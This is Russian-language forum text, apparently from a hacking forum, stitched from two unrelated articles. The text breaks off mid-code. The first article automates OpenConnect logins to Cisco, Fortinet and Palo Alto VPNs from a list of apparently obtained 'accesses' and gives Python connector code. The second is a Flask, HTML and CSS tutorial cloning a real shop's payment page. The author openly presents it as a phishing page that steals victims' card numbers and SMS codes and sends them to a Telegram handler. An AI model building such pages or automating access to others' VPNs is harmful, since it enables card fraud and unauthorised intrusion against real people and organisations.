Начнем со второго. Здесь все должно быть относительно просто. Если у нас есть список доступов через прокси, то мы можем написать внешний скрипт, который будет генерировать конфиг для proxychains и подключаться через него. Должно получиться нечто подобное:
Code:Copy to clipboard
Открываем файл, со списком прокси.
Читаем этот список.
for line in proxyList:
сгенерировать конфиг для proxychains
запустить скрипт через прокси
Поскольку этот способ менее актуальный, я не реализовал его. Гораздо больше
нас интересует воз-
можность подключения через VPN. Посмотрим что тут можно сделать.
3.1 OpenConnect. Что это такое и с чем его едяcт.
Дабы не разводить тут дальнейшую лабуду про выбор инструментов. Остановимся на
OpenConnect. Отличный продукт, поддерживающий несколько протоколов, в
частности:
• Cisco’s AnyConnect SSL VPN;
• Fortinet Fortigate SSL VPN;
• Palo Alto Networks GlobalProtect SSL VPN;
Есть и другие, но я их не тестировал, слишком редкие звери. Поправьте если я
не прав, но в живой природе я их не встречал. Отлично – это то, что нужно.
Открываем документацию и видим, что для подключения нам необходимо указать
несколько параметров, таких как:
• username;
• password;
• address;
• vpn group – необязательный параметр, указывающий принадлежность пользователя
к какой-
либо группе;
• protocol – протокол, по которому будет выполняться подключение. По умолчанию
используется Cisco anyconnect. Остальные необходимо указывать явно. Например,
–protocol=fortinet
Отлично. Берем первый попавшийся доступ, устанавливаем openconnect на впску и пробуем подключиться. У нас получилась примерно такая строка для подключения:
Bash:Copy to clipboard
openconnect -b --protocol=anyconnect --user=test 196.204.212.170:443
Запускаем. Попросил пароль. Вводим. Делаем заметку о том, что надо автоматизировать ввод пароля. Еще просит проверить отпечаток. Говорим, что ок, тоже ставим пометку про автоматизацию. Подключились. Пробуем запуститься. Ура. Заработало. Отлично. Теперь дело за малым – автоматизировать всё.
3.2 Автоматизация подключения.
Не вдаваясь особо в детали расскажу про основные проблемы возникшие при
автоматизации подключения.
Поехали.
Запускаться мы будем через subprocess.
3.2.1 Ввод пароля и отпечатка
Здесь получилось обойтись относительно малой кровью, за что отдельная
благодарочка разработчикам продукт. Для ввода пароля воспользуемся встроенным
флагом –passwd-on-stdin.
С отпечатком чуть сложнее. Но не более. Мы просто вызовем подключение дважды.
Первый раз вычленим из ответа сам отпечаток и запомним его, а во время второго
запуска передадим его как
параметр. В итоге получится следующая строка:
openconnect -b --passwd-on-stdin --servercert={fingerprint} --protocol=anyconnect --user=test 196.204.212.170:443
Флаг -b (background) запускает openconnect в фоне и позволяет выполнять произвольные операции при подключении.
3.2.2 Отключение.
Отлично. Мы подключились, даже отработали. А вот как теперь отключиться? Да вали его нахрен, да и всё – это пришедшее в голову первое решение. Так и сделаем. Запускаем htop. Ищем процесс и убиваем его. Ура. Вроде всё ок. Но это ручками. А вот как автоматизировать. А тут очередная похвала разработчикам продукта. Они решили эту проблему за меня – если указать еще и флаг –pid- file , то он любезно запишет туда свой PID. Нам останется лишь прочитать его и грохнуть.
А строка подключения у нас теперь такая:
openconnect -b --passwd-on-stdin --servercert={fingerprint} --pid- file=/tmp/openconnect.pid --protocol=anyconnect --user=test 196.204.212.170:443
3.2.3 Большой облом. Или как я построил большую индейскую национальную избу из окирпиченных VPS.
Вау. Всё круто, теперь делов-то. Написать пару классов, заложившись, как
обычно, под возможность расширения и будет нам счастье. «Ага, щаззз», подумали
про себя разработчики фортика и злобно так засмеялись.
Я набросал скрипт, который подключается через openconnect. Выполняет пару
рутинных операций и отключается. В файл накидал доступов для тестирования
разных протоколов. Стартую. Первая циска пошла. Всё ок. Вторая, третья. Всё
работает. Пошел покурить, думаю: "приду, воткну всё это в проект и вопрос
закрыт". «А вот фигвам», сказали разработчики фортика.
По возвращении обнаружил, что впска не подает признаков жизни. В логах видно,
что несколько цисок я обработал корректно, а на фортике чет сломалось. Ну я
решил, что это глюк какой. Пробую подключиться с другого терминала. Тут будет
картинка про фигвам из простоквашино. Да что за хрень? Меняю свои впны. Не
работает. Нет подключения, хоть ты тресни. Ладно, хрен с тобой, золотая рыбка.
Делаем реинсталл. Запускаем повторно тот же файл, но добавляем больше логов.
Те же яйца, только в профиль. После подключения к фортику перестает подавать
признаки жизни. Раз 15 я бился башкой об эти кирпичи. Безрезультатно. Это уже
начинает напрягать. Вооружаемся гуглом, обкладываемся манами по сетям, впнам,
openconnect’у.
В общем через некоторое время удалось выяснить, что многие впны меняют
настройки сети, делая ее недоступной из внешнего мира. Поэтому и кирпич вместо
впски при удачном подключении. Что делать? Опущу свои приключения на пути
поиска решения. Это было очень интересно, но описание займет много времени.
А вот решение оказалось достаточно простым. Если подключаться напрямую из
впски, то окирпичивание ее гарантировано. А вот если взять контейнер и всю
работу с подключением поместить в него, то всё будет окей. То есть я взял LXD-
container. закинул свой софт в него, а контейнер на впску. Всё. Теперь если
впн и убьет мне подключение, то доступ к впс. а следовательно и к контейнеру у
меня останется. Теперь пришла моя очередь радоваться жизни.
Я использовал этот контейнер.
3.2.4 Выводы.
С помощью гугла и какой-то матери нам удалось более-менее корректно
реализовать автоматизацию подключения и отключения. Лично я узнал очень много
нового о принципах работы сетей и впнов, а также особенностях
реализации тех или иных моментов. Удалось совместить ранее изученную теорию и
практику.
3.3 Проектирование архитектуры и реализация
После всех танцев с бубнами нам удалось получить минимально рабочую версию
модуля внешнего подключения. Теперь ее необходимо довести до ума и встроить в
проект, ничего при этом не сломав.
Поехали.
3.3.1 Connector.
На данном этапе мы умеем работать с openconnect. Это хорошо. А что если нам
понадобится использовать протокол, не поддерживаемый им? А там еще что-то
говорилось про прокси. Сейчас это не нужно, но потом может и понадобится. При
этом я опять понятия не имею как это будет выглядеть. Опять сюда просится
фабрика коннекторов. Давайте прикинем базовый функционал коннектора:
• Подключение – тут всё очевидно. Нам понадобится, как минимум, 3
параметра, которые будут
обязательно присутствовать для любого типа соединения. Это адрес, имя
пользователя и пароль.
• Отключение – эта штука должна уметь отключаться и корректно
восстанавливать параметры
сети, если впн их сломал.
• Обработка ошибок – если что-то пошло не так, мы должны получить об этом максимально подробную информацию.
Вот у нас и готов интерфейс базового класса.
Python:Copy to clipboard
class Connector:
def __init__(self, connection_type: ConnectionType):
self.CWD = ''
self.CSD_WRAPPER_PATH = ''
self.OPENCONNECT_PATH = 'openconnect'
self.connection_type = connection_type
self.password = ''
self.username = ''
self.address = ''
self.last_error = ''
@abstractmethod
def setup(self, username: str, password: str, address: str):
self.username = username
self.password = password
self.address = address
@abstractmethod
def is_connection_established(self) -> bool:
pass
@abstractmethod
def is_connection_broken(self) -> bool:
pass
А вот и его реализация в классе OpenConnector.
Python:Copy to clipboard
class Openconnector(Connector):
def __init__(self):
super().__init__(ConnectionType.OPENCONNECT)
self.vpn_group = ''
self.vpn_type = ''
self.gateway_address = ''
self.gateway_name = ''
def setup(self, username: str, password: str, address: str, vpn_group: str = '', vpn_type: str = 'anyconnect'):
super().setup(username, password, address)
self.vpn_group = vpn_group
self.vpn_type = vpn_type
def is_connection_established(self) -> bool:
success_connection_message = f'The connection to the {self.address} has been successfully established.'
try:
args = self.__setup_openconnect_args()
DumpLogger.print_param('openconnect args', str(args))
subprocess.run(args, stdout=subprocess.PIPE, input=f'{self.password}\n'.encode('utf-8'),
stderr=subprocess.PIPE, timeout=4)
return True
except Exception as err:
error_message = str(err)
if 'timed out after' in error_message:
DumpLogger.print_success(success_connection_message)
return True
DumpLogger.print_error('openconnector is_connection_established', str(err))
return False
def is_connection_broken(self) -> bool:
try:
DumpLogger.print_title('Openconnector is_connection_broken')
os.kill(self.__get_pid(), signal.SIGKILL)
return True
except Exception as err:
DumpLogger.print_error('Openconnector is_connection_broken', str(err))
return False
Как видим, у нас опять получился достаточно читаемый и компактный код, не содержащий ничего лишнего. добавим его в проект и продолжим радоваться жизни.
3.3.2 Интеграция в проект
У нас добавился новый модуль. А следовательно добавились и новые аргументы командной строки. Это единственный модуль в коде которого нам придется сделать изменения. И у нас на это есть действительно веская причина. Мы же помним про SOLID.
Если совсем коротко, то я добавил в аргументы тип подключения и метод
получения аргументов - из командной строки или из файла. В файле мы храним
наши впны. В идеале, конечно, сделать конфиг файл, а к нему конфигуратор с
гуем, но это совсем другая история. В зависимости от выбранного режима
подключения мы либо начинаем работать сразу, предполагая, что подключение уже
установлено и если что-то с ним не так, то это уже не наша проблема, либо
же сначала подключаемся указанным способом и, в случае успешного подключения,
начинаем работать. При возникновении ошибки тщательно пишем ее в логи и берем
следующий набор параметров для подключения.
Вот и вся магия.
3.4 Выводы.
Одно видео вместо тысячи
слов.
Если посоветуете другой файл-сервер - перезалью.
За сим позвольте откланяться.
В данной статье я хочу показать, как сделать страницу оплаты с отправкой данных в Telegram.
Такое обычно применяется в фейковых сайтах торговых площадок с целью кражи данных карты и последующей обработки полученной карты. Из РУ сегмента в пример могу привести Авито (работа по РУ это очень, очень плохо). Если кратко, то мамонту кидаю ссылку на страницу оплаты, якобы от самой Авито, мамонт вводит данные, затем обработчик вбивает карту, а на странице нашего "Авито" появляется поле для ввода кода с телефона. После его ввода код также отправляется в Telegram обработчику. Не знаю, насколько данная тема еще работает, но все же мне захотелось предоставить пример такой страницы и показать, как оно устроено. В качестве примера буду использовать сайт oasisdirect.ae.
Целью данной статьи является показать, как легко создать подобный сайт, а также более подробно описать работу с HTML и CSS, так как во всех своих предыдущих статьях я лишь мельком описывал работу с веб-страницами. В этой же статье я хочу на практике показать написание страницы с полноценным дизайном, приближенным к оригиналу.
Разрабатывать данный сайт я буду на Python, используя Flask.
Первым делом нужно создать проект. Для этого создадим пустую папку, затем
нажмем в ней правую кнопку мыши и выберем Open Folder As PyCharm. Таким
образом у нас откроется наше IDE, в котором мы и будем писать весь код. Думаю,
показывать, как его устанавливать, не стоит. Также для удобства создадим venv.
Venv — это виртуальная среда разработки, если проще, то это папка, в которой
будут находиться все скачанные библиотеки, например, тот же Flask.
Для того чтобы настроить и создать venv, нам потребуется в правом нижнем углу
нажать на кнопку, показанную на скриншоте.
Далее выбираем путь для установки venv, указываем путь до нашего проекта.
Затем выбираем путь до нашего Python (обычно путь уже установлен).
Далее создадим в PyCharm основной файл, если он еще не создан. Назову его по
классике main.py. После создания файла сразу установим необходимые нам
библиотеки, а именно то, что нам в данный момент понадобится — Flask.
Теперь, когда проект создан, рассмотрим страницу, которую нам нужно
скопировать.
Сайт мы рассмотрели и начнем его копировать, начиная с верхней панели.
Для начала пропишем в нашем Python файле установленную библиотеку Flask.
Python:Copy to clipboard
from flask import Flask, render_template
Затем инициализируем приложение Flask.
Python:Copy to clipboard
app = Flask(__name__)
Затем укажем маршрут к странице.
Python:Copy to clipboard
@app.route('/')
def index():
return render_template('index.html')
Все файлы HTML по умолчанию Flask ищет в папке templates, поэтому полный путь указывать не нужно.
Python:Copy to clipboard
if __name__ == '__main__':
app.run(debug=True)
Эта часть кода обеспечивает нам запуск приложения только если мы будем запускать именно тот файл, в котором этот код написан. В нашем случае у нас всего один Python файл.
С Python файлом пока что мы закончили, теперь перейдем к верхней панели. В
нашем случае будет реализована только одна страница сайта, и мы, конечно,
можем сделать верхнюю панель прямо в файле страницы, на которой будут поля
ввода карты, но обычно такие проекты не состоят из одной страницы. Они состоят
из полной копии сайта, а верхняя панель есть на каждой из страниц. Так что с
заделом на будущее мы будем делать верхнюю панель отдельным файлом, а затем
вызывать ее на всех страницах, где она должна быть, чтобы не вставлять ее код
на каждой странице.
Приступим к созданию страницы с панелью навигации. Для этого нам потребуется
для начала создать папку templates, в которой будут находиться все наши
будущие HTML страницы.
После создания папки создадим в ней файл base.html. В созданный файл вставляем
этот код:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='base.css') }}">
</head>
<body>
<nav class="navbar">
</nav>
{% block content %}{% endblock %}
</body>
</html>
В head хранятся такие данные как:
В body находится весь код страницы, в данном случае всего лишь один объект, который и является нашей верхней панелью. Объект nav это объект, который специально создан для того, чтобы делать объекты навигации. Можно, конечно, использовать обычный div, но зачем?
{% block content %}{% endblock %} Эта конструкция используется для заполнения блоками контента из других страниц. В нашем случае, внутри этой конструкции будет основная страница, которую мы будем создавать. Но в основной странице нам также нужно будет указать, какую часть мы выберем для заполнения. Но об этом чуть позже. Сейчас мы создадим CSS файл для страницы с верхней панелью навигации. Название будущего файла мы уже заранее указали в head, а именно - base.css.
После создания файла стилей нам нужно перейти в него и сразу же указать стили для нашей страницы с панелью.
CSS:Copy to clipboard
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
.navbar {
background-color: #f8f9fa;
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
}
Если вы взгляните на стили, то можете заметить, что в начале body нет точки, а у navbar точка в начале есть. Это связано с тем, что когда не указывается точка, все объекты указанного типа будут применять данные стили. Точку же нужно ставить на конкретные объекты с определенным названием. В нашем случае это объект nav с классом navbar. То есть если бы у нас на странице было несколько объектов nav и нам нужно было применить ко всем этим объектам один и тот же стиль, мы бы написали так:
CSS:Copy to clipboard
nav{
}
А если у нас есть несколько объектов nav, но нам нужно указать каждому из них разные стили, то в HTML файле нам нужно указать каждому из объектов разные классы, например:
Python:Copy to clipboard
<nav class="navbar">
</nav>
<nav class="navbar1">
</nav>
В таком случае, в стилях мы будем писать так:
CSS:Copy to clipboard
.navbar{
}
.navbar1{
}
Теперь перейдем к самим стилям, которые я указал в .navbar.
background-color: Указывает стиль заднего фона
border-bottom: 1px solid #e7e7e7 Указывает толщину и цвет нижнего бордера. Чтобы указать свойства не только нижнему бордеру, нужно заменить bottom в названии либо на left, right, или же на top.
padding: Означает отступ внутри объекта
CSS:Copy to clipboard
display: flex; justify-content: space-between; align-items: center;
Указывают на положение объекта.
Теперь рассмотрим стили которые указаны в body.
Т.к body это главный объект, все объекты внутри него будут применять стили из
body если у этих объектов нету своих стилей этого же типа.
Пока что со стилями мы зкончили, теперь перейдем к основной странице html.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<h1>Здравия желаю XSS</h1>
{% endblock %}
</body>
</html>
{% extends 'base.html' %} Вызывает объекты из base.html. {% block content %} и {% endblock %} Берет объекты внутри себя и грубо говоря вставляет их в {% block content %}{% endblock %}в base.html.
Вот какой на данный момент мы имеем результат открыв страницу index:
Как видим, на ней также присутствует верхняя панель. Теперь нам нужно
настроить стили как у оригинального сайта. Для этого перейдем на сам сайт,
наведемся на верхнюю панель, затем нажмем правую кнопку мыши и выберем пункт
"Проверить".
В открывшемся меню в разделе "Стили" ищем объект, у которого указан цвет
верхней панели.
Затем берем этот цвет и вставляем его в свойство background-color нашего
объекта navbar.
Таким же образом находим размеры верхней панели и также копируем их себе.
Вот какой код мы получаем:
CSS:Copy to clipboard
.navbar {
background-color: #243464;
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
height: 35px;
}
height как не трудно догадаться, это высота объекта. в нашем случае верхней панели.
Вот как это выглядит на сайте:
У нас получилось небольшое различие: на оригинале цвет представлен в виде
градиента, а у нас сплошной. Через F12 сложно было найти готовый градиент
оригинала, поэтому я просто сделаю скриншот оригинальной страницы и использую
любой сайт, где можно узнать цвет по пикселям.
Цвета я получил, и теперь внесем изменения в стили. Вот какая строка получилась:
CSS:Copy to clipboard
background: linear-gradient(to right, #2871a5, #243464);
to right Означает, что градиент будет направлен на правую сторону, а цвета
расположены в таком порядке, чтобы первый был с левой стороны объекта, а
второй — соответственно с правой. Вот в итоге, вот как выглядит в данный
момент наша верхняя панель:
Цвета и размеры мы подобрали, теперь приступим к добавлению кнопок. Так как я
пишу статью в то же время, когда и сам сайт, возможно, будут некоторые правки,
о которых я также буду писать. Возможно, вам это поможет представить
правильный ход действий без лишних правок на моем примере.
Итак. Первым делом буду добавлять логотип по центру. Чтобы его получить,
просто нажимаем по нему правую кнопку мыши и выбираем пункт "Сохранить
изображение как". Далее создадим в папке static папку img и закинем туда
полученный логотип.
Затем заходим в файл base.html и внутрь объекта с классом navbar вставляем эту
строку:
HTML:Copy to clipboard
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
В данной строке указываем в первых одинарных скобках папку static, а во вторых
указываем путь до файла с логотипом. В нем указываем все папки до него,
которые следуют после static. Теперь логотип находится на странице, но он по
стандарту больше по размерам, чем нам необходимо, а также он не по центру. Для
начала мы подгоним размеры. Так как класс я уже добавил к объекту с логотипом,
нам нужно лишь в CSS указать его.
Вот как это выглядит:
CSS:Copy to clipboard
.logo{
width: 60px;
}
Также нужно центрировать логотип. Для этого нам нужно изменить свойства navbar:
CSS:Copy to clipboard
.navbar {
background: linear-gradient(to right, #2871a5, #243464);
border-bottom: 1px solid #e7e7e7;
padding: 10px;
display: flex;
justify-content: space-between;
align-items: center;
height: 35px;
}
Теперь с логотипом разобрались. Вот как это выглядит теперь:
Сейчас будем добавлять боковые кнопки на панели. Есть несколько вариантов, как это сделать:
Хоть и первый вариант самый верный, но я хочу показать, как устанавливать
сторонние иконки из интернета, поэтому я выберу третий вариант.
Для начала нам нужно добавить объект button внутрь объекта панели.
HTML:Copy to clipboard
<nav class="navbar">
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
<button class="button"></button>
</nav>
Обратите внимание, что объекту кнопки я также добавил класс, и первое, что я
заметил, это то, что нужно заменить в CSS navbar flex-direction: column; на
flex-direction: row;. Это нужно для того, чтобы изменить расположение всех
объектов. Раньше они бы шли вниз друг за другом, теперь они будут с лево на
право. Справа должно быть 4 кнопки, поэтому дублируем объект кнопки еще 3
раза.
Вот какой результат у нас должен получиться:
Также нужно добавить еще 2 кнопки с левой стороны и выдвижное меню с кнопками
профиля, но так как мы делаем не полную копию сайта, перенаправлять нам при
нажатии на кнопки из выдвижного меню некуда, поэтому добавлять я его не буду
Как видно по скриншоту выше, объекты у нас все расположены прямо в центре. А
нам нужно разделить их на лево, право, центр.
Для этого вносим левые кнопки в отдельный div блок, также и правые кнопки.
Должен получиться такой вот код:
HTML:Copy to clipboard
<nav class="navbar">
<div class="left_button">
<button class="button"></button>
<button class="button"></button>
</div>
<img class="logo" src="{{ url_for('static', filename='img/logo.png') }}"/>
<div class="right_button">
<button class="button"></button>
<button class="button"></button>
<button class="button"></button>
<button class="button"></button>
</div>
</nav>
Также нам опять требуется изменить свойства navbar, установив новое значение
justify-content: space-evenly;. Оно разбивает все объекты внутри блока на лево
и право. Если объектов, как в нашем случае, 3, то получится, что логотип будет
по центру, а кнопки — по бокам, собственно говоря, как нам и нужно. Вот как
это выглядит на деле:
Как видно на скриншоте, кнопки все равно не расположены прямо в левом и правом
углах. Для того чтобы это исправить, нам нужно в CSS добавить стили для div
блоков, в которых хранятся наши кнопки. Нам нужно добавить свойство margin
(напоминаю о том, что это свойство позволяет добавлять внешний отступ у
объектов).
Вот как это выглядит в коде:
CSS:Copy to clipboard
.left_button{
margin-right: 400px;
}
.right_button{
margin-left: 400px;
}
Вот как это выглядит на странице:
Теперь нам необходимо добавить отступы у кнопок с левой и справой стороны. Для этого добавим классу button эти значения:
CSS:Copy to clipboard
margin-left: 5px;
margin-right: 5px;
Теперь отступы готовы, но так как с левой стороны кнопок их всего 2, а мы сделали одинаковые отступы и для объекта, который хранит кнопки, нужно сделать столько же, сколько и справа, логотип находится не по центру. Поэтому нужно изменить значение для left_button на 490px;.
Теперь нам нужно добавить в наши кнопки иконки. Обычно я использую сайт
https://icons8.com/icons. На нем, как правило, есть все иконки, которые мне
нужны. Выбираем нужную иконку и получаем на нее ссылку, как на скриншоте.
Далее просто вставляем ее внутрь нашего button. Но иконки внутри кнопок не центрированы. Чтобы центрировать их, нужно добавить display: flex и еще несколько параметров в стили кнопки:
CSS:Copy to clipboard
display: flex;
align-items: center;
justify-content: center;
После добавления иконок с верхней панелью мы заканчиваем. Вот как она выглядит
в итоге:
Теперь приступим к панели, которая находится под ней. Добавлять мы новую панель будем также в файле base.html точно так же, как и первую панель. Для начала добавим объект и назначим ему класс navbar1.
HTML:Copy to clipboard
<nav class="navbar1">
</nav>
Теперь добавим в css стили для этого объекта:
CSS:Copy to clipboard
.navbar1{
background-color: #fff;
display: flex;
justify-content: center;
align-items: center;
height: 60px;
flex-direction: row;
}
Теперь перейдем обратно в файл HTML и вставим внутрь нашего нового объекта объекты с товарами.
HTML:Copy to clipboard
<nav class="navbar1">
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/water.avif') }}" alt="Product Image"/>
<span>Water</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/juice.avif') }}" alt="Product Image"/>
<span>Juice</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/dairy.avif') }}" alt="Product Image"/>
<span>Dairy</span>
</button>
<button class="button_products">
<img class="products" src="{{ url_for('static', filename='img/accessories.avif') }}" alt="Product Image"/>
<span>Accessories</span>
</button>
</nav>
Думаю, тут уже все понятно. Изображение делается по аналогии с логотипом,
объект кнопки мы уже тоже делали выше, на этом остановиться не буду.
Теперь нам нужно назначить стили для кнопок.
CSS:Copy to clipboard
.button_products {
background-color: #fff;
width: 200px;
height: 100%;
border: none;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
padding: 0;
}
Тут уже тоже нечего объяснять, такое мы уже делали выше. Но на оригинале при
наведении на кнопки происходит смена цвета кнопки. Для этого нам нужно в CSS
указать .button_products.
Приписка hover означает, что стили будут применены при наведении на объект.
Вот и сами стили:
CSS:Copy to clipboard
.button_products:hover {
background-color: #2871a5;
color: white
}
У нас получается так, что при наведении кнопка становится синей, а текст становится белым. За цвет текста отвечает color: white.
Теперь нам нужно изменить шрифт, чтобы он был похож на тот, что в оригинале. Для этого, первым делом нам нужно создать папку fonts. Я создам ее в папке static. Затем закидываем туда шрифт и переходим в CSS файл base.css, там прописываем такой вот код:
CSS:Copy to clipboard
@font-face {
font-family: 'Pioner Sans Light';
src: url('fonts/PionerSansLight.ttf') format('truetype');
}
В первой строке прописываем название шрифта, во второй прописываем путь до шрифта не забывая ставить нужное разрешение файла. Затем в body вызываем наш шрифт вот такой вот строкой:
CSS:Copy to clipboard
font-family: 'Pioner Sans Light', sans-serif;
Но к панели с продуктами он не применился, такое бывает, когда у объекта уже есть свои встроенные стили. Чтобы применить именно к панели с продуктами, нужно указать шрифт точно так же, как и в body, но в стили button_products. Если размер шрифта не подходит, подогнать его под нужный можно таким образом:
CSS:Copy to clipboard
font-size: 23px;
В моем случае также шрифт слишком близко разположен к картинкам продуктов, так
что мне еще понадобится добавить margin-left. Напомню, что текст находится в
объекте span, класс я ему не назначал, поэтому просто пропишу стили для всех
span.
Вот как это выглядит в коде:
CSS:Copy to clipboard
span{
margin-left: 5px
}
Вот как в итоге выглядит наша страница:
С панелями мы закончили, теперь нужно заняться основной страницей, на которой
будут поля для ввода. Оригинальная страница разделена на 2 основных div блока,
на левый и правый.
Так что, мы первым делом также добавим 2 блока. Для этого переходим в
index.html и между {% block content %} и {% endblock %} пропишем 2 блока с
названиями классов left и right. После этого создадим div объект, в который
поместим left и right, назначим класс main этому объекту. Затем в его
свойствах разместим это:
CSS:Copy to clipboard
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
Это нужно для того, чтобы объекты внутри этого div шли слева направо. Таким образом, мы разместили left и right на нужных местах. Внутри left размещаем 2 div, в каждом из которых будет по 2 поля для ввода.
HTML:Copy to clipboard
<div class="left">
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
</div>
В стилях left указываем это:
CSS:Copy to clipboard
.left {
display: flex;
flex-direction: column;
gap: 10px;
}
Данный код распределит div внутри left, с верху вниз, а так как у нас в каждом блоке по 2 поля ввода, то получится 2 сверху, 2 снизу. Точно так же как и у оригинала.
Вот полный код, который у нас получился на данный момент:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
<div class="left">
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
</div>
<div class="right">
<div class="info">
</div>
<div class="info1">
</div>
</div>
</div>
{% endblock %}
</body>
</html>
Вот стили для объектов:
CSS:Copy to clipboard
.left {
display: flex;
flex-direction: column;
gap: 10px;
}
.input-row {
display: flex;
gap: 10px; /* расстояние между полями ввода в ряду */
}
.custom-input {
border: none;
border-bottom: 1px solid black;
padding: 5px;
width: 100px; /* ширина поля ввода */
}
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
.info{
background: #eeeeee;
width: 50px;
height: 50px;
}
.info1{
background: #ffffff;
width: 50px;
height: 50px;
}
Вот как выглядит на данный момент сама страница:
Как видно на скриншоте, к объектам в right, я назначил рандомные стили и
цвета, это я сделал для того, чтобы вам было понятнее, где и что в данный
момент находится на странице.
Сейчас нам нужно сделать правильные размеры и отступы для всех объектов, так
что сейчас будет работа только со стилями.
Отступы будем делать с помощью margin, применять его нужно к объектам right и
left.
CSS:Copy to clipboard
.left {
display: flex;
flex-direction: column;
gap: 10px;
margin-left: 60px;
margin-top: 70px;
}
.right{
margin-right: 60px;
margin-top: 75px;
}
Также нам нужно задать правильные размеры, скругления и тени объектам внутри div right.
CSS:Copy to clipboard
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
}
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
}
box-shadow отвечает за тень объекта. Координаты относятся к одной из сторон объекта, а в самом конце прописан цвет тени. border-radius относится к скруглениям объектов.
Вот что по итогу мы получаем:
Если посмотреть на оригинал и на нашу копию, то можно заметить, что у оригинала в полях для ввода есть текст. Чтобы нам также добавить текст, нам нужно добавить значение value к каждому объекту поля ввода:
HTML:Copy to clipboard
<input type="text" class="custom-input" value="Текст 1">
Также нам нужно изменить шрифт и цвет текста у полей ввода. На счёт шрифта,
так как мы уже прописали его в base.css, он наследуется и к html файлу,
который подвязан к base.html. Нам не нужно снова инициализировать шрифт, нужно
просто указать его в стилях объекта. Цвет текста меняется свойством color. Вот
как в данный момент выглядит страница:
Теперь нам нужно немного поработать с блоками в блоке right. У верхнего внутри
надо добавить бордер, а у нижнего ещё один div блок с тенью. Данные не в один
из этих блоков я записывать не буду, так как данные для них должны браться из
базы данных о товаре, а так как мы делаем копию только одной страницы, а не
всех, то брать нам эти данные неоткуда.
Для того чтобы в верхнем блоке добавить бордер внутри объекта, нам нужно
создать ещё 1 div и назначить ему стиль нижнего бордера.
Вот как выглядит HTML этого блока:
HTML:Copy to clipboard
<div class="right">
<div class="info">
<div class="info_block"></div>
</div>
<div class="info1">
</div>
</div>
Вот его стили:
CSS:Copy to clipboard
.info_block{
width: 350px;
border-bottom: 1px solid #929292;
}
Ширина была добавлена, чтобы этот блок с бордером не был по размерам своего родительского блока, так как у оригинала поле с бордером имеет зазоры по бокам. Теперь, чтобы объект был по центру родительского блока, нам нужно добавить свойства к самому родительскому блоку, а именно к .info:
CSS:Copy to clipboard
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
Теперь приступим к редактированию нижнего блока. С ним все проще: просто
копируем родительский блок, меняем ему название класса и добавляем его внутрь
родительского. Стили берем от родительского за исключением нескольких
параметров, например размера, в остальном же, они идентичны.
Вот стили этого объекта:
CSS:Copy to clipboard
.info2{
background: #ffffff;
width: 359px;
height: 140px;
border-radius: 15px;
margin-bottom: 20px;
box-shadow: 0px 0px 2px lightgrey;
}
В родительском так же нужно добавить стили для выравнивания объектов внутри него:
CSS:Copy to clipboard
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
display: flex;
flex-direction: column;
justify-content: flex-end;
align-items: center;
}
Вот как теперь выглядит страница в браузере:
Как я уже говорил, текст в объекты добавлять не стал, так как он должен
браться из базы данных магазина, а у нас всего лишь одностраничник. Поэтому
переходим к добавлению карты. Оригинал использует 2Gis, поэтому мы тоже будем
использовать 2Gis.
Для того чтобы добавить карту, нам нужно, прежде всего, добавить JavaScript
код от 2Gis.
HTML:Copy to clipboard
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>
Затем опять же добавим еще один js код но напишем его уже сами.
HTML:Copy to clipboard
<script>
DG.then(function () {
var map = DG.map('map', {
center: [55.751244, 37.618423],
zoom: 13
});
});
</script>
Он нужен для того, чтобы установить координаты, которые будут использоваться
на нашей карте по умолчанию.
Затем добавим объект, в котором будет наша карта.
HTML:Copy to clipboard
<div id="map" style="width: 100%; height: 400px;"></div>
Если обратите внимание на написанный нами JavaScript, то можно увидеть, что он
будет ссылаться на объект с id map, которым как раз и является объект, который
мы только что добавили.
Под картой у нас должно быть поле для ввода адреса, заморачиваться с ним не
нужно, просто копируем любое поле ввода, которое мы уже сделали, меняем
название класса и изменяем его длину на 100%. Таким образом, это поле будет
растянуто от начала и до конца объекта с классом left.
Вот полный код HTML, который у нас получился:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
<div class="left">
<div class="input-row">
